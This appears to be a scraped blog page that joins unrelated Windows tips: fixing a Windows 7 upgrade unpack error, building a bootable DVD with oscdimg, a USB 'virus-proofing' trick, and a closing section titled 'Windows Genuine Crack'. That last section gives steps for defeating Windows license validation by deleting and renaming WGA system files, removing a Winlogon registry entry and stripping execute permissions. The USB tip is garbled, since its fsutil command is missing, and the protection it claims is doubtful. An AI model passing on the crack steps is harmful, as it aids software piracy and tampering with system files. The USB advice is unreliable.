How To Fix the Can’t Unpack Windows 7 Student Upgrade Error

The Problems:
While Microsoft is working on a solution to the following error messages;
“We are unable to create or save new files in the folder in which this application was downloaded”
“The version of this file is not compatible with the version of Windows you’re running. Check your computer’s system information to see whether you need an x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher”
The Solutions:
There are few quick solutions that you can try to fix the error that shows up after the “Unpacking the Box” message.
The first solution would be to use a different computer, preferably one running Vista 64-bit, to do the unpacking and then follow the steps to make your installation bootable.
If you don’t have access to anther computer though, you may still be able to unpack your Windows 7 setup files pretty easily thanks to Sir Vikin in the Microsoft Answers Forums.
Pre Step- Create a folder in the following directory- C:\users\yourname - example for me is “C:\Users\Sir_Vikin\win 7″
now follow the rest-
STEP 1- Download the DLMWin7.exe application but do NOT run it yet.

Step 2- Right click the DLMWin7.exe – select Unblock

Step 3- Under the compatibility tab select the bottom box-”Run this program as an administrator” Click “Ok” to close

Step 4- Right click the DLMWin7.exe file and select run as administrator

Step 5 – Download the files to the folder you created example- “C:\Users\Sir_Vikin\win 7″

Step 6- Run it, it should unbox completely!
In the above example, “DLMWin7.exe” refers to the file you downloaded from Digital River, If you purchased Windows 7 Professional 64 bit, for example, your file would be named, “DLMWin7Pro64US.exe”.
We will continue to monitor the situation and if more solutions are found update you accordingly. If you still have problems using the Digital River upgrade files after trying these steps leave a note in the comments and we’ll try to help you out

How to create a Bootable DVD (Windows 7 or Windows Vista)

How to create a Bootable DVD (Windows 7 or Windows Vista)

Sometimes you'd want to install Windows from a bootable DVD but you just have all the Windows files... I mean, in my case I've got Windows 7 build 7048 (beta drop, but it does not matter), but I currently don't have its related ISO image. So, if I want to install a plain new Windows 7 from scratch (booting & installing from a DVD), guess what you need?, right..., I want to create my own bootable Windows DVD.
In order to do that, we can use several Microsoft tools that come in AIK (Windows Automated Installation Kit), for Windows Vista or Windows 7 (the latest in my case).

You can download from here, for instance:

http://www.microsoft.com/downloads/details.aspx?FamilyID=4ad85860-d1f4-42a1-a46c-e039e3d0db5d&displaylang=en

Needed Tools you can get once you install AIK:
- oscdimg.exe (usually you can get it from in "%ProgramFiles%\Windows AIK\Tools\x86 )
- etfsboot.com (This is the boot sector file will put into the DVD)

1.- COPY WINDOWS FILES TO A HARD DISK

Of course, you'll need all the Windows 7 or Windows Vista files. For instance, I copied all of them within C:\Win7_7048_EN\x86fre
You could even add more custom files, like drivers or whatever..

2.- GENERATE THE ISO FILE

Open a command prompt console (with Administrator's rights) and go where you have the AIK's tools. Then type the following:

oscdimg -n -m -b"C:\Win7 7048 EN\DVD Bootable Tools\x86_Boot\etfsboot.com" C:\Win7_7048_EN\x86fre C:\Win7_7048_EN_ISO\Win7_7048_x86_EN.iso

You'll get messages like the following:
”OSCDIMG 2.55 CD-ROM and DVD-ROM Premastering Utility
Copyright (C) Microsoft, 1993-2007. All rights reserved.
Licensed only for producing Microsoft authorized content.
Scanning source tree (500 files in 49 directories)
Scanning source tree complete (810 files in 159 directories)
Computing directory information complete
Image file is 2825107456 bytes
Writing 810 files in 159 directories to V:\Win7_7048_EN_ISO\Win7_7048_x86_E
100% complete
Final image file is 2825107456 bytes
Done."

At this time you'll have a new ISO file for Windows 7 or Vista!!. :-)

If you want Windows x64, just use the other file types for x64, like:
oscdimg -n -m -b"C:\Win7 7048 EN\DVD Bootable Tools\x64_Boot\etfsboot.com" C:\Win7_7048_EN\x64fre C:\Win7_7048_EN_ISO\Win7_7048_x64_EN.iso

COMMAND'S MEANING:

-b points to the boot sector file location (etfsboot.com). This file will make the DVD bootable. Do not use a space between b and path!

Then, first path is the location of original Windows DVD files.

Second path points to the directory where the iso file will be created in.

-n makes it possible to use extended file names.

-m allows to create iso files, larger than CD format.

MAKE YOUR USB DIVE VIRUS FREE

Today every one is affraid of pen drive.Every computer user consider it as a monster. Here is something that could change your attitude towards pendrive. Here i am going to show you how to make your pendrive free from virus. First, you have to know how much free space is left on the USB drive. Plug in the drive, go to My Computer, right click on the drive letter and select Properties.Take note of the “Free space” that is in bytes.My USB drive has 1,300,594,688 free space, so I will need to create a dummy file that has the exact file size.The best and easiest way is to use fsutil, a command line tool included in windows. Open up command prompt from Start Menu > Accessories and type the following command:You will see that your USB flash drive’s LED is blinking meaning the file is being created.Now my pendrive has 0 free space and virus won,t be able to get in. You can change 1300594688 to the size that you want in bytes. F: is the letter of my USB flash drive and IamDummy is the file name.When you want to copy files into USB removable drive, simply delete dummy file.When you’re done ,create the dummy file again using the fsutil command.If you’re looking for a graphical tool to create dummy fake files, here are a few that I found. Some are slower, and some with NTFS restriction, I hope you find this useful.

WINDOWS GENUINE CRACK

The fix works a treat.

1.C:Documents and SettingsAll UsersApplication DataWindows Genuine Advantagedata

inside you will find a file called Data.dat open that file with notepad and
delete all the stuff in it… now save the file and set it as read only and restart pc but in SAFE mode ** Yes, this step is required ** ** Will NOT immediately solve problem until rest of steps completed **
Now go to c:windows system32 folder: MUST be in safemode

wgalogon.dll ** You CANNOT delete this file. RENAME it to wgalogon.bbb ***
spmgs.dll ** This is a spelling error. File is actually spmsg.dll. RENAME it to spmsg.aaa **
wgatray.exe *** DELETE this file ***

Now go to C:WINDOWSSoftwareDistributionDownload and DELETE the following folder

6c4788c9549d437e76e1773a7639582a

REBOOT & all should be resolved
End the process wgatray.exe in Windows TaskManager and restart Windows XP in safe mode. Now delete the following files:

Delete WgaTray.exe from c:windowssystem32
Delete WgaTray.exe from c:windowssystem32dllcache

Start Windows Registry editor and delete the folder "WGALOGON" located in the following location:
HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogonNotify. Delete all references in your registry to WgaTray.exe

Another alternative suggest that three files are installed Windows XP System Folder:

WINDOWSsystem32WgaLogon.dll
WINDOWSsystem32WgaTray.exe
WINDOWSsystem32LegitCheckControl.dll

The wgatray.exe process makes the check for genuine windows software. You can disable WGA by removing the execute bit on WgaLogon.dll. That way, winlogon can't call it as a notification package at boot, and since WgaLogon is responsible for running and maintaining WgaTray.exe, no more tray popups either.

To change the execute bit of WgaLogon.dll, first turn off Simple File Sharing. Now right click the file in Windows Explorer and open the Security Tab. Hit the Advanced button, uncheck the Inherit box at the bottom, hit the Copy button, then hit OK. Go through each listed user/group and remove the "Read & Execute" permission for that file, leaving the "Read" permission as-is.

Hit OK to apply the permission changes and close the file properties dialog. Restart the machine. You can now turn "Use simple file sharing" back on, if you want.

A third alternative posted on the internet suggest that users clear the content of file data.dat located in the following directory:
C:Documents and SettingsAll UsersApplication DataWindows Genuine Advantagedata
